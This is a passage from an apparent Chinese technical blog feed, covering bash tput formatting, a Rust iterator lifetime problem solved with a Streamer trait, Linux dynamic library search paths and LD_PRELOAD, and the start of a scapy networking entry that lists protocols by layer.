			setbgcolor=$(tput setab $bgcolor;) ;;
		*)
			setbgcolor=&amp;quot;&amp;quot; ;;
	esac

	if [ &amp;quot;$bold&amp;quot; = &amp;quot;1&amp;quot; ]; then
		setbold=$(tput bold;)
	else
		setbold=&amp;quot;&amp;quot;
	fi

	if [ &amp;quot;$underline&amp;quot; = &amp;quot;1&amp;quot; ]; then
		setunderline=$(tput smul;)
	else
		setunderline=&amp;quot;&amp;quot;
	fi

	printf &amp;quot;$setcolor$setbgcolor$setbold$setunderline$str$normal\n&amp;quot;
}

format_output &amp;quot;Yesterday Once More&amp;quot; 2 5 1 1

exit 0
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;&lt;strong&gt;2.光标属性&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;#!&amp;#x2F;bin&amp;#x2F;bash

tput clear # 清屏
tput sc # 保存当前光标位置
tput cup 10 13 # 将光标移动到 row col
tput civis # 光标不可见
tput cnorm # 光标可见
tput rc # 显示输出
exit 0
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;&lt;strong&gt;例子：&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;cobol&quot; class=&quot;language-cobol &quot;&gt;&lt;code class=&quot;language-cobol&quot; data-lang=&quot;cobol&quot;&gt;#!&amp;#x2F;bin&amp;#x2F;bash
# clear the screen
tput clear
# Move cursor to screen location X,Y (top left is 0,0)
tput cup 3 15
# Set a foreground colour using ANSI escape
tput setaf 3
echo &amp;quot;XYX Corp LTD.&amp;quot;
tput sgr0
tput cup 5 17
# Set reverse video mode
tput rev
echo &amp;quot;M A I N - M E N U&amp;quot;
tput sgr0
tput cup 7 15
echo &amp;quot;1. User Management&amp;quot;
tput cup 8 15
echo &amp;quot;2. Service Management&amp;quot;
tput cup 9 15
echo &amp;quot;3. Process Management&amp;quot;
tput cup 10 15
echo &amp;quot;4. Backup&amp;quot;
# Set bold mode
tput bold
tput cup 12 15
read -p &amp;quot;Enter your choice [1-4] &amp;quot; choice
tput clear
tput sgr0
tput rc

exit 0
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>一个Rust生命周期问题</title>
        <published>2024-07-17T00:00:00+00:00</published>
        <updated>2024-07-17T00:00:00+00:00</updated>
        
        <author>
          <name>
            
              moxuetianya
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://vercel.juzhong.asia/obsidian/一个rust生命周期问题/"/>
        <id>https://vercel.juzhong.asia/obsidian/一个rust生命周期问题/</id>
        
        <content type="html" xml:base="https://vercel.juzhong.asia/obsidian/一个rust生命周期问题/">&lt;h1 id=&quot;yi-ge-rustsheng-ming-zhou-qi-wen-ti&quot;&gt;一个Rust生命周期问题&lt;&#x2F;h1&gt;
&lt;ul&gt;
&lt;li&gt;一个Rust生命周期问题 - No one&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;aptend.github.io&#x2F;2020&#x2F;12&#x2F;17&#x2F;a-lifetime-problem&#x2F;&quot;&gt;https:&#x2F;&#x2F;aptend.github.io&#x2F;2020&#x2F;12&#x2F;17&#x2F;a-lifetime-problem&#x2F;&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;li&gt;Is Life Always This Hard? &#x2F; After all this time?&lt;&#x2F;li&gt;
&lt;li&gt;2024-07-17 18:09:36&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;给知乎上一个生命周期问题提供的解决办法&lt;&#x2F;p&gt;
&lt;h2 id=&quot;wen-ti-lai-yuan&quot;&gt;问题来源&lt;&#x2F;h2&gt;
&lt;p&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;zhuanlan.zhihu.com&#x2F;p&#x2F;104742696&quot;&gt;一个关于rust生命周期的问题分析 - 知乎 (zhihu.com)&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;p&gt;相关的 &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;play.rust-lang.org&#x2F;?version=stable&amp;amp;mode=debug&amp;amp;edition=2018&amp;amp;gist=6f1ffcb16c412679feeaa5fe594052ed&quot;&gt;Rust Playground (rust-lang.org)&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;p&gt;场景目标是，有一个已经存在的 &lt;code&gt;&amp;amp;[u8]&lt;&#x2F;code&gt; buffer，一个&lt;code&gt;Parser&lt;&#x2F;code&gt;结构的&lt;code&gt;parse&lt;&#x2F;code&gt;方法希望查阅这个buffer，同时修改自身的状态，以自身状态为基础产生一个新的&lt;code&gt;&amp;amp;[u8]&lt;&#x2F;code&gt; buffer，返回这个新引用。 &lt;code&gt;parse&lt;&#x2F;code&gt; 方法可以多次调用，所以希望在&lt;code&gt;Parser&lt;&#x2F;code&gt;结构的基础上制作一个迭代器，每次迭代执行&lt;code&gt;parse&lt;&#x2F;code&gt;，返回构建的 &lt;code&gt;u8&lt;&#x2F;code&gt; buffer&lt;&#x2F;p&gt;
&lt;p&gt;由此有以下代码：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;rust&quot; class=&quot;language-rust &quot;&gt;&lt;code class=&quot;language-rust&quot; data-lang=&quot;rust&quot;&gt;struct Parser {
&amp;#x2F;&amp;#x2F; ...
}

impl Parser {
       pub fn parse&amp;lt;&amp;#x27;a&amp;gt;(&amp;amp;&amp;#x27;a mut self, buf: &amp;amp;&amp;#x27;a [u8]) -&amp;gt; Option&amp;lt;&amp;amp;&amp;#x27;a u8&amp;gt; {
           todo!()
       }

       pub fn iter&amp;lt;&amp;#x27;a&amp;gt;(&amp;amp;&amp;#x27;a mut self, buf: &amp;amp;&amp;#x27;a [u8]) -&amp;gt; ParseIter&amp;lt;&amp;#x27;a&amp;gt; {
           ParseIter { parser: self, buf }
       }
}

pub struct ParseIter&amp;lt;&amp;#x27;a&amp;gt; {
    parser: &amp;amp;&amp;#x27;a mut Parser,
    buf: &amp;amp;&amp;#x27;a [u8],
}

impl&amp;lt;&amp;#x27;a&amp;gt; Iterator for ParseIter&amp;lt;&amp;#x27;a&amp;gt; {
    type Item = &amp;amp;&amp;#x27;a u8;
    fn next(&amp;amp;mut self) -&amp;gt; Option&amp;lt;Self::Item&amp;gt; {
        self.parser.parse(self.buf)
    }
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;但是甚至不待使用&lt;code&gt;ParseIter&amp;lt;&#x27;a&amp;gt;&lt;&#x2F;code&gt;，就会因为生命周期问题产生编译错误。
个人感觉错误本身对修改的指导意义不大，就不贴在这里了，有需要可以看原文。&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;p&gt;评论中提出，去掉&lt;code&gt;parser&lt;&#x2F;code&gt;中&lt;code&gt;self&lt;&#x2F;code&gt;的生命周期标记，变成
&lt;code&gt;fn parse&amp;lt;&#x27;a&amp;gt;(&amp;amp;mut self, buf: &amp;amp;&#x27;a [u8]) -&amp;gt; Option&amp;lt;&amp;amp;&#x27;a u8&amp;gt;&lt;&#x2F;code&gt;
这的确可以通过编译，但是这表明的是作为返回值的引用和&lt;code&gt;Parser&lt;&#x2F;code&gt;本身无关，并没有基于它的任何字段。显然这和设计的目标不一致。&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;h2 id=&quot;fen-xi&quot;&gt;分析&lt;&#x2F;h2&gt;
&lt;p&gt;在不实现&lt;code&gt;ParseIter&amp;lt;&#x27;a&amp;gt;&lt;&#x2F;code&gt;的&lt;code&gt;next&lt;&#x2F;code&gt;时，程序可以编译，所以从&lt;code&gt;next&lt;&#x2F;code&gt;的实现着手分析，看他破坏了什么东西。将实现做如下展开：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;rust&quot; class=&quot;language-rust &quot;&gt;&lt;code class=&quot;language-rust&quot; data-lang=&quot;rust&quot;&gt;fn next&amp;lt;&amp;#x27;iter&amp;gt;(&amp;amp;&amp;#x27;iter mut self) -&amp;gt; Option&amp;lt;&amp;amp;&amp;#x27;a u8&amp;gt; {
    let parser: &amp;amp;&amp;#x27;a mut Parser = &amp;amp;mut *self.parser;
    let buf: &amp;amp;&amp;#x27;a [u8] = self.buf;
    return Parser::parse(parser, buf);
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;buf的引用可以直接通过Copy复制，所以可以得到&lt;code&gt;&amp;amp;&#x27;a [u8]&lt;&#x2F;code&gt;。&lt;&#x2F;p&gt;
&lt;p&gt;但是&lt;code&gt;parser&lt;&#x2F;code&gt;属于可变引用，不能Copy，只能通过&lt;code&gt;Deref&lt;&#x2F;code&gt;再重新取引用，如原文作者所说，实际发生的是&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;rust&quot; class=&quot;language-rust &quot;&gt;&lt;code class=&quot;language-rust&quot; data-lang=&quot;rust&quot;&gt;`fn deref_mut&amp;lt;&amp;#x27;iter&amp;gt;(&amp;amp;&amp;#x27;iter mut &amp;amp;&amp;#x27;a mut Parser) -&amp;gt; &amp;amp;&amp;#x27;iter mut Self::Target;`
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;返回的引用需要受限于&lt;code&gt;&#x27;iter&lt;&#x2F;code&gt;生命周期，但是这里并没有&lt;code&gt;&#x27;iter: &#x27;a&lt;&#x2F;code&gt;关系，所以不能保证parser的存活范围，换言之，万一&lt;code&gt;&#x27;iter&lt;&#x2F;code&gt;更小，从中借出一个生命周期更长的引用显然不可能。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;jie-jue&quot;&gt;解决&lt;&#x2F;h2&gt;
&lt;p&gt;原文作者并没有给出解决方法。这里给出一个大佬 &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;BurntSushi&quot;&gt;BurntSushi&lt;&#x2F;a&gt; 在 fst 库中给出的方案：&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;docs.rs&#x2F;fst&#x2F;0.4.5&#x2F;fst&#x2F;trait.Streamer.html&quot;&gt;Streamer&lt;&#x2F;a&gt;。&lt;&#x2F;p&gt;
&lt;p&gt;在上节分析的最后，我们发现缺少&lt;code&gt;&#x27;iter: &#x27;a&lt;&#x2F;code&gt;的保证，如果想加上，就会发想&lt;code&gt;Iterator&lt;&#x2F;code&gt;这个trait阻止你这么做了。Iterator的本意，是希望迭代出的元素的生命周期和自身无关，可以被外界同时持有多个，甚至迭代器被drop也没有关系。但是上述场景不是这样的，每次迭代返回的引用，不可能被同时持有，因为受限制于&lt;code&gt;Parser&lt;&#x2F;code&gt;本身的状态，自然也就和持有&lt;code&gt;&amp;amp;mut Parser&lt;&#x2F;code&gt;引用的&lt;code&gt;ParserIter&lt;&#x2F;code&gt;有关了。因此我们可以说，针对这个场景，&lt;code&gt;Iterator&lt;&#x2F;code&gt;这个trait选错了。&lt;&#x2F;p&gt;
&lt;p&gt;fst中的迭代也是类似的场景，所以制作了一个&lt;code&gt;Streamer&lt;&#x2F;code&gt;的trait。&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;rust&quot; class=&quot;language-rust &quot;&gt;&lt;code class=&quot;language-rust&quot; data-lang=&quot;rust&quot;&gt;pub trait Streamer&amp;lt;&amp;#x27;a&amp;gt; {
    type Item: &amp;#x27;a;
    fn next(&amp;amp;&amp;#x27;a mut self) -&amp;gt; Option&amp;lt;Self::Item&amp;gt;;
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;形式上和&lt;code&gt;Iterator&lt;&#x2F;code&gt;很像，区别在于对迭代器本身和返回值多了&lt;code&gt;&#x27;a&lt;&#x2F;code&gt;生命周期绑定，表明返回值的生命周期不能超过迭代器本身。因此迭代的元素不可以被同时持有，要么阅后即焚，要么及时复制，所以得名&lt;code&gt;Stream-流&lt;&#x2F;code&gt;&lt;&#x2F;p&gt;
&lt;p&gt;如果实现&lt;code&gt;Streamer&amp;lt;&#x27;a&amp;gt;&lt;&#x2F;code&gt;，整个的生命周期会按照最短的迭代器的声明周期进行对齐，比如&lt;code&gt;buf&lt;&#x2F;code&gt;的长生命周期在编译时缩短(协变)，以配合&lt;code&gt;Parser::iter&lt;&#x2F;code&gt;方法。成功通过编译，cool&lt;&#x2F;p&gt;
&lt;h2 id=&quot;bonus&quot;&gt;Bonus&lt;&#x2F;h2&gt;
&lt;p&gt;下面是Streamer文档的后续翻译，作为补充&lt;&#x2F;p&gt;
&lt;p&gt;“””&lt;&#x2F;p&gt;
&lt;p&gt;但是本身这个结构非常难用，会涉及到高阶生命周期绑定。在一个函数中使用该trait，&lt;code&gt;Streamer&lt;&#x2F;code&gt;的生命周期和使用函数没有任何关联，必须用一种方法表示&lt;code&gt;Streamer&amp;lt;&#x27;a&amp;gt;&lt;&#x2F;code&gt;的&lt;code&gt;&#x27;a&lt;&#x2F;code&gt;可以对任意生命周期有效，不必受制于函数的调用作用域。大概长这样&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;rust&quot; class=&quot;language-rust &quot;&gt;&lt;code class=&quot;language-rust&quot; data-lang=&quot;rust&quot;&gt;fn takes_stream&amp;lt;T, S&amp;gt;(s: S)
    where S: for&amp;lt;&amp;#x27;a&amp;gt; Streamer&amp;lt;&amp;#x27;a, Item=T&amp;gt;
{}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;但是这个声明有 &lt;strong&gt;三个&lt;&#x2F;strong&gt; 问题：&lt;&#x2F;p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;code&gt;S&lt;&#x2F;code&gt; 没有绑定特定生命周期，实际上大多数 stream 都包含者一个底层状态机的引用，才能迭代访问Fst&lt;&#x2F;li&gt;
&lt;li&gt;区分 “stream” 和 “stream 构建器” 的概念，往往会给我们带来方便。在标准库中，这对应这 &lt;code&gt;Iterator&lt;&#x2F;code&gt; 和 &lt;code&gt;IntoIterator&lt;&#x2F;code&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;Item=T&lt;&#x2F;code&gt; 是非法的，因为 &lt;code&gt;Streamer&lt;&#x2F;code&gt; 的关联类型要求绑定一个生命周期参数，但是我们没有办法给任意的类型构建器标记一个生命周期绑定。（当前的情况里，&lt;code&gt;T&lt;&#x2F;code&gt;就是一个类型构建器，因为它始终需要一个生命周期才能成为一个具体的类型）&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;p&gt;因此，我们需要重新写成这样的庞然大物&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;rust&quot; class=&quot;language-rust &quot;&gt;&lt;code class=&quot;language-rust&quot; data-lang=&quot;rust&quot;&gt;fn takes_stream&amp;lt;&amp;#x27;f, I, S&amp;gt;(s: I)
    where I: for&amp;lt;&amp;#x27;a&amp;gt; IntoStreamer&amp;lt;&amp;#x27;a, Into=S, Item=(&amp;amp;&amp;#x27;a [u8], Output)&amp;gt;,
          S: &amp;#x27;f + for&amp;lt;&amp;#x27;a&amp;gt; Streamer&amp;lt;&amp;#x27;a, Item=(&amp;amp;&amp;#x27;a [u8], Output)&amp;gt;
{}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;我们是这样解决问题的：&lt;&#x2F;p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;code&gt;S&lt;&#x2F;code&gt;现在绑定&lt;code&gt;&#x27;f&lt;&#x2F;code&gt;，表示底层stream的生命周期，可能是&lt;code&gt;&#x27;static&lt;&#x2F;code&gt;&lt;&#x2F;li&gt;
&lt;li&gt;类型参数&lt;code&gt;I&lt;&#x2F;code&gt;加入，表示一个知道如何构建 stream 的类型。注意&lt;code&gt;I&lt;&#x2F;code&gt; 和 &lt;code&gt;S&lt;&#x2F;code&gt;并没有共享相同的生命周期，因为高阶生命周期绑定的&lt;code&gt;’a&lt;&#x2F;code&gt;表示任意的生命周期。&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;T&lt;&#x2F;code&gt; 被替换成了一个具体类型。注意到具体类型在 &lt;code&gt;I&lt;&#x2F;code&gt; 和 &lt;code&gt;S&lt;&#x2F;code&gt; 中是重复的。在 &lt;code&gt;Iterator&lt;&#x2F;code&gt; 和 &lt;code&gt;IntoIterator&lt;&#x2F;code&gt; 中，&lt;code&gt;I&lt;&#x2F;code&gt;可以通过&lt;code&gt;S::Item&lt;&#x2F;code&gt;简写，但是在高阶生命周期绑定中，我们不能访问关联类型。&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;p&gt;如你所见，stream 的灵活零欠缺，一丢丢反人类，给了一大堆难以阅读的trait绑定。情况就是这么尴尬，但是没有它，我们又不能组合各种数据流。&lt;&#x2F;p&gt;
&lt;p&gt;唯一的慰藉可能是，完全相同的 trait bound 可以到处用。一旦你领会了精神，剩下的可能就是复制粘贴。&lt;&#x2F;p&gt;
&lt;p&gt;“””&lt;&#x2F;p&gt;
&lt;h2 id=&quot;jie-lun&quot;&gt;结论&lt;&#x2F;h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;Iterator&lt;&#x2F;code&gt;并不是万能的，需要了解它的使用场景和局限&lt;&#x2F;li&gt;
&lt;li&gt;编译错误可能并不能指导修改，程序的语义需要自己把握&lt;&#x2F;li&gt;
&lt;li&gt;单是函数的签名就能反应出整个工作流程，很神奇&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>linux动态库加载路径： LD_LIBRARY_PATH失效</title>
        <published>2024-07-16T00:00:00+00:00</published>
        <updated>2024-07-16T00:00:00+00:00</updated>
        
        <author>
          <name>
            
              moxuetianya
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://vercel.juzhong.asia/obsidian/linux动态库加载路径-ld_library_path失效/"/>
        <id>https://vercel.juzhong.asia/obsidian/linux动态库加载路径-ld_library_path失效/</id>
        
        <content type="html" xml:base="https://vercel.juzhong.asia/obsidian/linux动态库加载路径-ld_library_path失效/">&lt;h1 id=&quot;linuxdong-tai-ku-jia-zai-lu-jing-ld-library-pathshi-xiao&quot;&gt;linux动态库加载路径： LD_LIBRARY_PATH失效&lt;&#x2F;h1&gt;
&lt;h1 id=&quot;sou-suo-lu-jing&quot;&gt;搜索路径&lt;&#x2F;h1&gt;
&lt;p&gt;Linux动态库搜索路径五种：&lt;&#x2F;p&gt;
&lt;h2 id=&quot;1-bian-yi-dai-ma-shi-zhi-ding&quot;&gt;1. 编译代码时指定&lt;&#x2F;h2&gt;
&lt;p&gt;编译时用 &lt;strong&gt;“-Wl,-rpath,”&lt;&#x2F;strong&gt; 指定动态库搜索路径，例如&lt;&#x2F;p&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;&lt;code&gt;1&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;&#x2F;th&gt;&lt;th&gt;&lt;code&gt;gcc -o test.elf main.c -Wl,-rpath,&#x2F;opt&#x2F;lib,-rpath,&#x2F;opt&#x2F;test&#x2F;lib&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;h2 id=&quot;2-huan-jing-bian-liang-ld-library-path&quot;&gt;2. 环境变量LD_LIBRARY_PATH&lt;&#x2F;h2&gt;
&lt;p&gt;运行时使用环境便利指定动态库搜索路径，例如&lt;&#x2F;p&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;&lt;code&gt;1&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;&#x2F;th&gt;&lt;th&gt;&lt;code&gt;export LD_LIBRARY_PATH = $(LD_LIBRARY_PATH):&#x2F;opt&#x2F;lib:&#x2F;opt&#x2F;test&#x2F;lib&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;h2 id=&quot;3-etc-ld-so-conf&quot;&gt;3. &#x2F;etc&#x2F;ld.so.conf&lt;&#x2F;h2&gt;
&lt;p&gt;在&#x2F;etc&#x2F;ld.so.conf中添加要搜索的路径即可&lt;&#x2F;p&gt;
&lt;h2 id=&quot;4-mo-ren-sou-suo-lib&quot;&gt;4. 默认搜索&#x2F;lib&lt;&#x2F;h2&gt;
&lt;h2 id=&quot;5-mo-ren-sou-suo-usr-lib&quot;&gt;5. 默认搜索&#x2F;usr&#x2F;lib&lt;&#x2F;h2&gt;
&lt;h1 id=&quot;sou-suo-shun-xu&quot;&gt;搜索顺序&lt;&#x2F;h1&gt;
&lt;p&gt;动态库路径搜索顺序如下，使用最新搜索到的库
&lt;strong&gt;编译代码时指定-&amp;gt;LD_LIBRARY_PATH-&amp;gt;ld.so.conf-&amp;gt;&#x2F;lib-&amp;gt;&#x2F;user&#x2F;lib&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;h1 id=&quot;fu-hao-ti-huan&quot;&gt;符号替换&lt;&#x2F;h1&gt;
&lt;p&gt;另外Linux还提供了一种机制可以替换掉动态库中的符号，可以看做是优先级更高的动态库&lt;&#x2F;p&gt;
&lt;h2 id=&quot;1-ld-preload&quot;&gt;1. LD_PRELOAD&lt;&#x2F;h2&gt;
&lt;p&gt;运行时优先使用LD_PRELOAD指定的动态库的付款，例如mymalloc.so中有malloc，当设置&lt;&#x2F;p&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;&lt;code&gt;1&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;&#x2F;th&gt;&lt;th&gt;&lt;code&gt;export LD_PRELOAD= &quot;$LD_PRELOAD &#x2F;opt&#x2F;lib&#x2F;mymalloc.so&quot;&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;p&gt;后，运行程序就会执行到mymalloc.so中的malloc&lt;&#x2F;p&gt;
&lt;h2 id=&quot;2-etc-ld-so-preload&quot;&gt;2. &#x2F;etc&#x2F;ld.so.preload&lt;&#x2F;h2&gt;
&lt;p&gt;在&#x2F;etc&#x2F;ld.so.preload中添加要替换的so路径即可，顺序上LD_PRELOAD&amp;gt;&#x2F;etc&#x2F;ld.so.preload&lt;&#x2F;p&gt;
&lt;h1 id=&quot;zhu-yi&quot;&gt;注意&lt;&#x2F;h1&gt;
&lt;p&gt;在对要执行的应用程序做setcap和改变uid&#x2F;gid后，由于安全的原因LD_PRELOAD和LD_LIBRARY_PATH将对该应用失效，为了达到相同的效果可以在ld.so.preload和ld.so.conf添加对应的搜索路径即可。就是在遇到这样的情况下才让我产生记录搜索动态库的想法。&lt;&#x2F;p&gt;
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>python安全攻防---scapy基础---计算机网络各层协议</title>
        <published>2024-07-16T00:00:00+00:00</published>
        <updated>2024-07-16T00:00:00+00:00</updated>
        
        <author>
          <name>
            
              moxuetianya
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://vercel.juzhong.asia/obsidian/python安全攻防-scapy基础-计算机网络各层协议/"/>
        <id>https://vercel.juzhong.asia/obsidian/python安全攻防-scapy基础-计算机网络各层协议/</id>
        
        <content type="html" xml:base="https://vercel.juzhong.asia/obsidian/python安全攻防-scapy基础-计算机网络各层协议/">&lt;h1 id=&quot;pythonan-quan-gong-fang-scapyji-chu-ji-suan-ji-wang-luo-ge-ceng-xie-yi&quot;&gt;python安全攻防---scapy基础---计算机网络各层协议&lt;&#x2F;h1&gt;
&lt;h5 id=&quot;wang-luo-ceng-ci-hua-fen&quot;&gt;网络层次划分&lt;&#x2F;h5&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;scapy-basics&#x2F;tcp-ip-five-layer-model.png&quot; alt=&quot;在这里插入图片描述&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;比较常用的是TCP&#x2F;IP五层协议。&lt;&#x2F;p&gt;
&lt;h5 id=&quot;0x01ying-yong-ceng&quot;&gt;0x01应用层&lt;&#x2F;h5&gt;
&lt;p&gt;应用层是网络应用程序以及它们的应用层协议存留的地方。应用层协议和应用程序直接挂钩&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;DHCP(Dynamic Host Configuration Protocol)动态主机分配协议，使用 UDP 协议工作，主要有两个用途：给内部网络或网络服务供应商自动分配 IP 地址，给用户或者内部网络管理员作为对所有计算机作中央管理的手段。实 现即插即用连网。&lt;&#x2F;li&gt;
&lt;li&gt;BOOTP (BOOTstrapProtocol) 引导程序协议&#x2F; 自举协议，使用UDP 来使 一个无盘工作站自动获取配置信息。静态的配置协议 DNS （Domain Name System ）域名解析&amp;lt;端口号53&amp;gt;&lt;&#x2F;li&gt;
&lt;li&gt;FTP （File Transfer Protocol ）文件传输协议&amp;lt;端口号21&amp;gt;减少或消除不同操作系统下处理文件的不兼容性。&lt;&#x2F;li&gt;
&lt;li&gt;Gopher （The Internet Gopher Protocol ）网际Gopher 协议&lt;&#x2F;li&gt;
&lt;li&gt;HTTP （Hypertext Transfer Protocol ）超文本传输协议 &amp;lt;端口号 80&amp;gt;， 面向事务的应用层协议。&lt;&#x2F;li&gt;
&lt;li&gt;IMAP4 (Internet Message Access Protocol 4) Internet 信息访问协议的第 4 版本&lt;&#x2F;li&gt;
&lt;li&gt;IRC （Internet Relay Chat ）网络聊天协议&lt;&#x2F;li&gt;
&lt;li&gt;NNTP （Network News Transport Protocol ）网络新闻传输协议&lt;&#x2F;li&gt;
&lt;li&gt;XMPP 可扩展消息处理现场协议&lt;&#x2F;li&gt;
&lt;li&gt;POP3 (Post Office Protocol 3) 即邮局协议的第3 个版本，用于接受邮件。&lt;&#x2F;li&gt;
&lt;li&gt;SIP(Session Initiation Protocol)信令控制协议&lt;&#x2F;li&gt;
&lt;li&gt;SMTP （Simple Mail Transfer Protocol ）简单邮件传输协议 &amp;lt;端口号25&amp;gt; 用于发送邮件。&lt;&#x2F;li&gt;
&lt;li&gt;SNMP (Simple Network Management Protocol),简单网络管理协议&lt;&#x2F;li&gt;
&lt;li&gt;SSH （Secure Shell ）安全外壳协议&lt;&#x2F;li&gt;
&lt;li&gt;TELNET 远程登录协议 &amp;lt;端口号23&amp;gt;&lt;&#x2F;li&gt;
&lt;li&gt;RPC （Remote Procedure Call Protocol ）（RFC- 1831）远程过程调用协 议&lt;&#x2F;li&gt;
&lt;li&gt;RTCP （RTP Control Protocol ）RTP 控制协议&lt;&#x2F;li&gt;
&lt;li&gt;RTSP （Real Time Streaming Protocol ）实时流传输协议&lt;&#x2F;li&gt;
&lt;li&gt;TLS （Transport Layer Security Protocol ）安全传输层协议&lt;&#x2F;li&gt;
&lt;li&gt;SDP( Session Description Protocol ）会话描述协议&lt;&#x2F;li&gt;
&lt;li&gt;SOAP （Simple Object Access Protocol ）简单对象访问协议&lt;&#x2F;li&gt;
&lt;li&gt;GTP 通用数据传输平台&lt;&#x2F;li&gt;
&lt;li&gt;STUN （Simple Traversal of UDP over NATs ，NAT 的UDP 简单穿越） 是一种网络协议&lt;&#x2F;li&gt;
&lt;li&gt;NTP （Network Time Protocol ）网络校时协议。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h5 id=&quot;0x02-chuan-shu-ceng&quot;&gt;0x02 传输层&lt;&#x2F;h5&gt;
&lt;p&gt;因特网的传输层在应用程序端点之间传送应用层报文。&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;TCP （Transmission Control Protocol ）传输控制协议提供可靠的面向连接的服务，传输数据前须先建立连接，结束后释放。可靠的全双工信道。可靠、有序、无丢失、不重复。&lt;&#x2F;li&gt;
&lt;li&gt;UDP (User Datagram Protocol ）用户数据报协议发送数据前无需建立连接，不使用拥塞控制，不保证可靠交付，最大努力交付。&lt;&#x2F;li&gt;
&lt;li&gt;DCCP （Datagram Congestion Control Protocol ）数据报拥塞控制协议&lt;&#x2F;li&gt;
&lt;li&gt;SCTP （STREAM CONTROL TRANSMISSION PROTOCOL ）流控制传 输协议&lt;&#x2F;li&gt;
&lt;li&gt;RTP(Real-time Transport Protocol ）实时传送协议&lt;&#x2F;li&gt;
&lt;li&gt;RSVP （Resource ReSer Vation Protocol ）资源预留协议&lt;&#x2F;li&gt;
&lt;li&gt;PPTP ( Point to Point Tunneling Protocol ）点对点隧道协议&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h5 id=&quot;0x03-wang-luo-ceng&quot;&gt;0x03 网络层&lt;&#x2F;h5&gt;
&lt;p&gt;因特网的网络层负责将称为数据报的网络层分组从一台主机移动到另一台主机。&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;IP (IPv4 · IPv6) (Internet Protocol) 网络之间互连的协议&lt;&#x2F;li&gt;
&lt;li&gt;ARP (Address Resolution Protocol) 即地址解析协议，实现通过IP 地址得 知其物理地址。&lt;&#x2F;li&gt;
